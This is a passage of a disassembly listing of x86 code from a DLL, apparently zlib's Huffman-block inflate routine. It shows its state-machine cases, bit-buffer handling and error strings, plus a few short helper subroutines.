		cmp	ecx, [ebx+30h]
		jnb	short loc_10005365
		mov	ebp, [ebx+30h]
		sub	ebp, [esp+4Ch+var_38]
		dec	ebp
		jmp	short loc_1000536C
; ---------------------------------------------------------------------------


loc_10005365:				; CODE XREF: sub_10004F78+3E1j
		mov	ebp, [ebx+2Ch]
		sub	ebp, [esp+4Ch+var_38]


loc_1000536C:				; CODE XREF: sub_10004F78+3EBj
		mov	eax, [esp+4Ch+var_38]
		cmp	eax, [ebx+2Ch]
		jnz	short loc_1000539E
		mov	edx, [ebx+30h]
		cmp	edx, [ebx+28h]
		jz	short loc_1000539E
		mov	ecx, [ebx+28h]
		mov	[esp+4Ch+var_38], ecx
		mov	eax, [esp+4Ch+var_38]
		cmp	eax, [ebx+30h]
		jnb	short loc_10005397
		mov	ebp, [ebx+30h]
		sub	ebp, [esp+4Ch+var_38]
		dec	ebp
		jmp	short loc_1000539E
; ---------------------------------------------------------------------------


loc_10005397:				; CODE XREF: sub_10004F78+413j
		mov	ebp, [ebx+2Ch]
		sub	ebp, [esp+4Ch+var_38]


loc_1000539E:				; CODE XREF: sub_10004F78+3FBj
					; sub_10004F78+403j ...
		test	ebp, ebp
		jnz	short loc_100053DA
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100053DA:				; CODE XREF: sub_10004F78+37Dj
					; sub_10004F78+3B7j ...
		xor	ecx, ecx
		mov	[esp+4Ch+var_4C], ecx
		mov	eax, [ebx+4]
		mov	[esp+4Ch+var_48], eax
		mov	edx, [esp+4Ch+var_48]
		cmp	edx, [esp+4Ch+var_3C]
		jbe	short loc_100053F8
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esp+4Ch+var_48], ecx


loc_100053F8:				; CODE XREF: sub_10004F78+476j
		cmp	ebp, [esp+4Ch+var_48]
		jnb	short loc_10005402
		mov	[esp+4Ch+var_48], ebp


loc_10005402:				; CODE XREF: sub_10004F78+484j
		mov	eax, [esp+4Ch+var_48]
		push	eax
		mov	edx, [esp+50h+var_40]
		push	edx
		mov	ecx, [esp+54h+var_38]
		push	ecx
		call	sub_10003DD0
		add	esp, 0Ch
		mov	eax, [esp+4Ch+var_48]
		add	[esp+4Ch+var_40], eax
		mov	edx, [esp+4Ch+var_48]
		sub	[esp+4Ch+var_3C], edx
		add	[esp+4Ch+var_38], eax
		sub	ebp, [esp+4Ch+var_48]
		mov	ecx, [esp+4Ch+var_48]
		sub	[ebx+4], ecx
		jnz	loc_10004FBE
		cmp	dword ptr [ebx+18h], 0
		mov	eax, 7
		jnz	short loc_1000544C
		add	eax, 0FFFFFFF9h


loc_1000544C:				; CODE XREF: sub_10004F78+4CFj
		mov	[ebx], eax
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_10005453:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		cmp	edi, 0Eh	; jumptable 10004FC9 case 3
		jnb	short loc_100054C0


loc_10005458:				; CODE XREF: sub_10004F78+546j
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_10005466
		xor	edx, edx
		mov	[esp+4Ch+var_4C], edx
		jmp	short loc_1000549E
; ---------------------------------------------------------------------------


loc_10005466:				; CODE XREF: sub_10004F78+4E5j
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_1000549E:				; CODE XREF: sub_10004F78+4ECj
		mov	ecx, edi
		dec	[esp+4Ch+var_3C]
		mov	edx, [esp+4Ch+var_40]
		mov	al, [edx]
		xor	edx, edx
		mov	dl, al
		shl	edx, cl
		or	[esp+4Ch+var_44], edx
		inc	[esp+4Ch+var_40]
		add	edi, 8
		cmp	edi, 0Eh
		jb	short loc_10005458


loc_100054C0:				; CODE XREF: sub_10004F78+4DEj
		mov	ecx, [esp+4Ch+var_44]
		and	ecx, 3FFFh
		mov	[esp+4Ch+var_48], ecx
		mov	[ebx+4], ecx
		mov	eax, [esp+4Ch+var_48]
		and	eax, 1Fh
		cmp	eax, 1Dh
		ja	short loc_100054EC
		mov	edx, [esp+4Ch+var_48]
		shr	edx, 5
		and	edx, 1Fh
		cmp	edx, 1Dh
		jbe	short loc_10005538


loc_100054EC:				; CODE XREF: sub_10004F78+563j
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[esp+4Ch+var_4C], 0FFFFFFFDh
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005538:				; CODE XREF: sub_10004F78+572j
		mov	ecx, [esp+4Ch+var_48]
		shr	ecx, 5
		and	ecx, 1Fh
		add	eax, ecx
		add	eax, 102h
		mov	[esp+4Ch+var_48], eax
		mov	ecx, 4
		mov	edx, [esp+4Ch+var_48]
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	[ebx+0Ch], eax
		test	eax, eax
		jnz	short loc_100055A2
		mov	[esp+4Ch+var_4C], 0FFFFFFFCh
		mov	edx, [esp+4Ch+var_44]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], edi
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esi+4], ecx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100055A2:				; CODE XREF: sub_10004F78+5E9j
		shr	[esp+4Ch+var_44], 0Eh
		sub	edi, 0Eh
		xor	eax, eax
		mov	[ebx+8], eax
		mov	dword ptr [ebx], 4
		jmp	loc_10005649	; jumptable 10004FC9 case 4
; ---------------------------------------------------------------------------


loc_100055BA:				; CODE XREF: sub_10004F78+6DDj
		cmp	edi, 3
		jnb	short loc_10005627


loc_100055BF:				; CODE XREF: sub_10004F78+6ADj
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_100055CD
		xor	edx, edx
		mov	[esp+4Ch+var_4C], edx
		jmp	short loc_10005605
; ---------------------------------------------------------------------------


loc_100055CD:				; CODE XREF: sub_10004F78+64Cj
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005605:				; CODE XREF: sub_10004F78+653j
		mov	ecx, edi
		dec	[esp+4Ch+var_3C]
		mov	edx, [esp+4Ch+var_40]
		mov	al, [edx]
		xor	edx, edx
		mov	dl, al
		shl	edx, cl
		or	[esp+4Ch+var_44], edx
		inc	[esp+4Ch+var_40]
		add	edi, 8
		cmp	edi, 3
		jb	short loc_100055BF


loc_10005627:				; CODE XREF: sub_10004F78+645j
		mov	ecx, [ebx+8]
		inc	dword ptr [ebx+8]
		mov	eax, ds:dword_1000991C[ecx*4]
		mov	edx, [ebx+0Ch]
		mov	ecx, [esp+4Ch+var_44]
		and	ecx, 7
		mov	[edx+eax*4], ecx
		shr	[esp+4Ch+var_44], 3
		sub	edi, 3


loc_10005649:				; CODE XREF: sub_10004F78+51j
					; sub_10004F78+63Dj
					; DATA XREF: ...
		mov	eax, [ebx+4]	; jumptable 10004FC9 case 4
		shr	eax, 0Ah
		add	eax, 4
		cmp	eax, [ebx+8]
		ja	loc_100055BA
		jmp	short loc_10005672
; ---------------------------------------------------------------------------


loc_1000565D:				; CODE XREF: sub_10004F78+6FEj
		mov	edx, [ebx+8]
		inc	dword ptr [ebx+8]
		mov	ecx, ds:dword_1000991C[edx*4]
		mov	eax, [ebx+0Ch]
		xor	edx, edx
		mov	[eax+ecx*4], edx


loc_10005672:				; CODE XREF: sub_10004F78+6E3j
		cmp	dword ptr [ebx+8], 13h
		jb	short loc_1000565D
		mov	dword ptr [ebx+10h], 7
		mov	ecx, [ebx+24h]
		push	ecx
		push	esi
		lea	ecx, [ebx+14h]
		lea	edx, [ebx+10h]
		mov	eax, [ebx+0Ch]
		call	sub_10004B48
		mov	[esp+4Ch+var_48], eax
		cmp	[esp+4Ch+var_48], 0
		jz	short loc_100056F1
		mov	edx, [ebx+0Ch]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		mov	ecx, [esp+4Ch+var_48]
		mov	[esp+4Ch+var_4C], ecx
		cmp	[esp+4Ch+var_4C], 0FFFFFFFDh
		jnz	short loc_100056B9
		mov	dword ptr [ebx], 9


loc_100056B9:				; CODE XREF: sub_10004F78+739j
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100056F1:				; CODE XREF: sub_10004F78+723j
		xor	ecx, ecx
		mov	[ebx+8], ecx
		mov	dword ptr [ebx], 5
		jmp	loc_10005920	; jumptable 10004FC9 case 5
; ---------------------------------------------------------------------------


loc_10005701:				; CODE XREF: sub_10004F78+9CBj
		mov	eax, [ebx+10h]
		mov	[esp+4Ch+var_48], eax
		cmp	edi, [esp+4Ch+var_48]
		jnb	short loc_10005777


loc_1000570E:				; CODE XREF: sub_10004F78+7FDj
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_1000571C
		xor	edx, edx
		mov	[esp+4Ch+var_4C], edx
		jmp	short loc_10005754
; ---------------------------------------------------------------------------


loc_1000571C:				; CODE XREF: sub_10004F78+79Bj
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005754:				; CODE XREF: sub_10004F78+7A2j
		mov	ecx, edi
		dec	[esp+4Ch+var_3C]
		mov	edx, [esp+4Ch+var_40]
		mov	al, [edx]
		xor	edx, edx
		mov	dl, al
		shl	edx, cl
		or	[esp+4Ch+var_44], edx
		inc	[esp+4Ch+var_40]
		add	edi, 8
		cmp	edi, [esp+4Ch+var_48]
		jb	short loc_1000570E


loc_10005777:				; CODE XREF: sub_10004F78+794j
		mov	ecx, [esp+4Ch+var_48]
		mov	eax, ds:dword_10009A0C[ecx*4]
		and	eax, [esp+4Ch+var_44]
		shl	eax, 3
		add	eax, [ebx+14h]
		xor	edx, edx
		mov	dl, [eax+1]
		mov	[esp+4Ch+var_48], edx
		mov	edx, [eax+4]
		cmp	edx, 10h
		jnb	short loc_100057BA
		mov	ecx, [esp+4Ch+var_48]
		shr	[esp+4Ch+var_44], cl
		sub	edi, [esp+4Ch+var_48]
		mov	eax, [ebx+8]
		inc	dword ptr [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	[ecx+eax*4], edx
		jmp	loc_10005920	; jumptable 10004FC9 case 5
; ---------------------------------------------------------------------------


loc_100057BA:				; CODE XREF: sub_10004F78+823j
		cmp	edx, 12h
		jnz	short loc_100057C6
		mov	eax, 7
		jmp	short loc_100057CB
; ---------------------------------------------------------------------------


loc_100057C6:				; CODE XREF: sub_10004F78+845j
		mov	eax, edx
		sub	eax, 0Eh


loc_100057CB:				; CODE XREF: sub_10004F78+84Cj
		mov	ecx, 0Bh
		cmp	edx, 12h
		jz	short loc_100057D8
		add	ecx, 0FFFFFFF8h


loc_100057D8:				; CODE XREF: sub_10004F78+85Bj
		mov	[esp+4Ch+var_24], ecx
		jmp	short loc_10005845
; ---------------------------------------------------------------------------


loc_100057DE:				; CODE XREF: sub_10004F78+8D5j
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_100057EC
		xor	ecx, ecx
		mov	[esp+4Ch+var_4C], ecx
		jmp	short loc_10005824
; ---------------------------------------------------------------------------


loc_100057EC:				; CODE XREF: sub_10004F78+86Bj
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005824:				; CODE XREF: sub_10004F78+872j
		dec	[esp+4Ch+var_3C]
		mov	ecx, [esp+4Ch+var_40]
		mov	cl, [ecx]
		mov	ebp, ecx
		and	ebp, 0FFh
		mov	ecx, edi
		shl	ebp, cl
		or	[esp+4Ch+var_44], ebp
		inc	[esp+4Ch+var_40]
		add	edi, 8


loc_10005845:				; CODE XREF: sub_10004F78+864j
		mov	ecx, [esp+4Ch+var_48]
		add	ecx, eax
		cmp	edi, ecx
		jb	short loc_100057DE
		mov	ecx, [esp+4Ch+var_48]
		shr	[esp+4Ch+var_44], cl
		mov	ecx, ds:dword_10009A0C[eax*4]
		sub	edi, [esp+4Ch+var_48]
		and	ecx, [esp+4Ch+var_44]
		sub	edi, eax
		add	[esp+4Ch+var_24], ecx
		mov	ecx, eax
		shr	[esp+4Ch+var_44], cl
		mov	eax, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[esp+4Ch+var_48], ecx
		mov	ebp, [esp+4Ch+var_48]
		mov	ecx, [esp+4Ch+var_48]
		shr	ebp, 5
		and	ecx, 1Fh
		and	ebp, 1Fh
		add	ecx, ebp
		mov	ebp, [esp+4Ch+var_24]
		add	ebp, eax
		add	ecx, 102h
		cmp	ecx, ebp
		jb	short loc_100058A9
		cmp	edx, 10h
		jnz	short loc_100058FE
		cmp	eax, 1
		jnb	short loc_100058FE


loc_100058A9:				; CODE XREF: sub_10004F78+925j
		mov	edx, [ebx+0Ch]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[esp+4Ch+var_4C], 0FFFFFFFDh
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100058FE:				; CODE XREF: sub_10004F78+92Aj
					; sub_10004F78+92Fj
		cmp	edx, 10h
		jnz	short loc_1000590C
		mov	edx, [ebx+0Ch]
		mov	ecx, [edx+eax*4-4]
		jmp	short loc_1000590E
; ---------------------------------------------------------------------------


loc_1000590C:				; CODE XREF: sub_10004F78+989j
		xor	ecx, ecx


loc_1000590E:				; CODE XREF: sub_10004F78+992j
		mov	edx, ecx


loc_10005910:				; CODE XREF: sub_10004F78+9A3j
		mov	ecx, [ebx+0Ch]
		mov	[ecx+eax*4], edx
		inc	eax
		dec	[esp+4Ch+var_24]
		jnz	short loc_10005910
		mov	[ebx+8], eax


loc_10005920:				; CODE XREF: sub_10004F78+51j
					; sub_10004F78+784j ...
		mov	eax, [ebx+4]	; jumptable 10004FC9 case 5
		mov	[esp+4Ch+var_48], eax
		mov	eax, [esp+4Ch+var_48]
		mov	edx, [esp+4Ch+var_48]
		shr	eax, 5
		and	edx, 1Fh
		and	eax, 1Fh
		add	edx, eax
		add	edx, 102h
		cmp	edx, [ebx+8]
		ja	loc_10005701
		xor	edx, edx
		mov	[ebx+14h], edx
		mov	[esp+4Ch+var_20], 9
		mov	[esp+4Ch+var_1C], 6
		mov	ecx, [ebx+4]
		lea	eax, [esp+4Ch+var_20]
		mov	[esp+4Ch+var_48], ecx
		push	eax
		lea	edx, [esp+50h+var_1C]
		push	edx
		lea	ecx, [esp+54h+var_18]
		push	ecx
		lea	eax, [esp+58h+var_14]
		push	eax
		mov	edx, [ebx+24h]
		push	edx
		push	esi
		mov	edx, [esp+64h+var_48]
		mov	eax, [esp+64h+var_48]
		shr	edx, 5
		and	eax, 1Fh
		and	edx, 1Fh
		mov	ecx, [ebx+0Ch]
		inc	edx
		add	eax, 101h
		call	sub_10004BE4
		mov	[esp+4Ch+var_48], eax
		mov	edx, [ebx+0Ch]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		cmp	[esp+4Ch+var_48], 0
		jz	short loc_100059FD
		cmp	[esp+4Ch+var_48], 0FFFFFFFDh
		jnz	short loc_100059BE
		mov	dword ptr [ebx], 9


loc_100059BE:				; CODE XREF: sub_10004F78+A3Ej
		mov	ecx, [esp+4Ch+var_48]
		mov	[esp+4Ch+var_4C], ecx
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100059FD:				; CODE XREF: sub_10004F78+A37j
		mov	ecx, [esp+4Ch+var_14]
		push	ecx
		push	esi
		mov	ecx, [esp+54h+var_18]
		mov	edx, [esp+54h+var_1C]
		mov	eax, [esp+54h+var_20]
		call	sub_10005CA0
		mov	ebp, eax
		test	eax, eax
		jnz	short loc_10005A59
		mov	[esp+4Ch+var_4C], 0FFFFFFFCh
		mov	edx, [esp+4Ch+var_44]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], edi
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esi+4], ecx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005A59:				; CODE XREF: sub_10004F78+AA0j
		mov	[ebx+4], ebp
		mov	dword ptr [ebx], 6


loc_10005A62:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		mov	eax, [esp+4Ch+var_44] ;	jumptable 10004FC9 case	6
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_10005CF0
		mov	[esp+4Ch+var_4C], eax
		dec	eax
		jz	short loc_10005AAC
		mov	ecx, [esp+4Ch+var_4C]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005AAC:				; CODE XREF: sub_10004F78+B21j
		xor	edx, edx
		mov	[esp+4Ch+var_4C], edx
		mov	edx, esi
		mov	eax, [ebx+4]
		call	sub_100065A0
		mov	ecx, [esi]
		mov	[esp+4Ch+var_40], ecx
		mov	eax, [esi+4]
		mov	[esp+4Ch+var_3C], eax
		mov	edx, [ebx+20h]
		mov	[esp+4Ch+var_44], edx
		mov	edi, [ebx+1Ch]
		mov	eax, [ebx+34h]
		mov	[esp+4Ch+var_38], eax
		mov	edx, [esp+4Ch+var_38]
		cmp	edx, [ebx+30h]
		jnb	short loc_10005AEC
		mov	ebp, [ebx+30h]
		sub	ebp, [esp+4Ch+var_38]
		dec	ebp
		jmp	short loc_10005AF3
; ---------------------------------------------------------------------------


loc_10005AEC:				; CODE XREF: sub_10004F78+B68j
		mov	ebp, [ebx+2Ch]
		sub	ebp, [esp+4Ch+var_38]


loc_10005AF3:				; CODE XREF: sub_10004F78+B72j
		cmp	dword ptr [ebx+18h], 0
		jnz	short loc_10005B02
		xor	eax, eax
		mov	[ebx], eax
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_10005B02:				; CODE XREF: sub_10004F78+B7Fj
		mov	dword ptr [ebx], 7


loc_10005B08:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		mov	edx, [esp+4Ch+var_38] ;	jumptable 10004FC9 case	7
		mov	eax, ebx
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		mov	[esp+4Ch+var_4C], eax
		mov	ecx, [ebx+34h]
		mov	[esp+4Ch+var_38], ecx
		mov	eax, [esp+4Ch+var_38]
		cmp	eax, [ebx+30h]
		jnb	short loc_10005B38
		mov	edx, [ebx+30h]
		sub	edx, [esp+4Ch+var_38]
		dec	edx
		jmp	short loc_10005B3F
; ---------------------------------------------------------------------------


loc_10005B38:				; CODE XREF: sub_10004F78+BB4j
		mov	edx, [ebx+2Ch]
		sub	edx, [esp+4Ch+var_38]


loc_10005B3F:				; CODE XREF: sub_10004F78+BBEj
		mov	eax, [ebx+30h]
		cmp	eax, [ebx+34h]
		jz	short loc_10005B7F
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005B7F:				; CODE XREF: sub_10004F78+BCDj
		mov	dword ptr [ebx], 8


loc_10005B85:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		mov	[esp+4Ch+var_4C], 1 ; jumptable	10004FC9 case 8
		mov	edx, [esp+4Ch+var_44]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], edi
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esi+4], ecx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	short loc_10005C37
; ---------------------------------------------------------------------------


loc_10005BC1:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		mov	[esp+4Ch+var_4C], 0FFFFFFFDh ; jumptable 10004FC9 case 9
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	short loc_10005C37
; ---------------------------------------------------------------------------


loc_10005BFD:				; CODE XREF: sub_10004F78+4Bj
		mov	[esp+4Ch+var_4C], 0FFFFFFFEh ; default
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC


loc_10005C37:				; CODE XREF: sub_10004F78+C6j
					; sub_10004F78+1BBj ...
		add	esp, 3Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10004F78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10005C40	proc near		; CODE XREF: sub_10003FCC+26p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	ecx, ecx
		mov	edx, ebx
		mov	eax, esi
		call	sub_10004E7C
		mov	edx, [esi+28h]
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+24h]
		mov	edx, [esi+24h]
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+24h]
		mov	edx, esi
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+24h]
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_10005C40	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005C70	proc near		; CODE XREF: CODE:10004564p
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		push	esi
		push	edx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_10003DD0
		add	esp, 0Ch
		mov	edx, [ebx+28h]
		add	edx, esi
		mov	[ebx+34h], edx
		mov	[ebx+30h], edx
		pop	esi
		pop	ebx
		retn
sub_10005C70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10005C94	proc near		; CODE XREF: CODE:1000464Bp
		cmp	dword ptr [eax], 1
		setz	al
		and	eax, 1
		retn
sub_10005C94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005CA0	proc near		; CODE XREF: sub_10004F78+173p
					; sub_10004F78+A97p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		mov	ecx, 1Ch
		mov	edx, 1
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_10005CE6
		xor	edx, edx
		mov	[ebx], edx
		mov	cl, byte ptr [ebp+var_4]
		mov	[ebx+10h], cl
		mov	al, byte ptr [ebp+var_8]
		mov	[ebx+11h], al
		mov	edx, [ebp+var_C]
		mov	[ebx+14h], edx
